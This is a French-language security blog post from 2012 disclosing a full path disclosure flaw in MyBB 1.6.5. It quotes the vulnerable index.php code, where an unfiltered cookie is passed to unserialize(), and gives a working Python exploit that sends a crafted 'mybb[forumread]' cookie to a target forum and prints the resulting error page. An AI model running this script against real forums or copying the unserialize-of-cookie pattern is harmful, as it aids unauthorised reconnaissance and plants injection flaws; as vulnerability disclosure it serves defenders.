Publié le

MyBB 1.6.5 – Full Path Disclosure

Pour bien commencer l’année 2012, voici une full path disclosure dans la lignée de mon dernier article.

Dans la dernière version de MyBB (1.6.5), index.php ligne 323 :


if($mybb->user['uid'] == 0)
{
// Build a forum cache.
$query = $db->query("
SELECT *
FROM ".TABLE_PREFIX."forums
WHERE active != 0
ORDER BY pid, disporder
");

$forumsread = unserialize($mybb->cookies['mybb']['forumread']);
}

Les cookies n’étant absolument pas filtré, il suffit de mettre dans le cookie « mybb[forumread] » (déduit après analyse du code) une instance de classe serializé qui existe ou non dans le code. Nous récupérerons alors une fatal error car la variable $forumsread est utilisé plus bas comme un tableau.

Exploit en Python :

#!/usr/bin/env python
# encoding: utf-8
"""
MyBB 1.6.5 Full Path Disclosure
https://tlking.wordpress.com/
"""

import httplib
import sys

if __name__ == "__main__":
	
    if len(sys.argv) != 3:
        print("Usage :")
        print("\t{0} host path".format(sys.argv[0]))
        print("Exemple :")
        print("\t{0} \"demo.forum-software.org:80\" \"/mybb/\"".format(sys.argv[0]))
        sys.exit(0)
		
    host = sys.argv[1]
    path = sys.argv[2]
	
    print("Launch attack on : http://{0}{1}/index.php".format(host,path))
	
    path += "/index.php"
    headers = {"Cookie":"mybb[forumread]=O%3A10%3A%22TlkMyBBFPD%22%3A0%3A%7B%7D;"}
	
    connexion = httplib.HTTPConnection(host)
    connexion.request("GET",path, "", headers)
    reponse = connexion.getresponse()
    data = reponse.read()
	
    if data.count("Fatal error") > 0:
        print("\nIt's work :")
        print(data)
    else:
        print("Don't work... Want to see the result anyway ? (1/0)")
        question = input()
        if question == 1:
            print(data)

Laisser un commentaire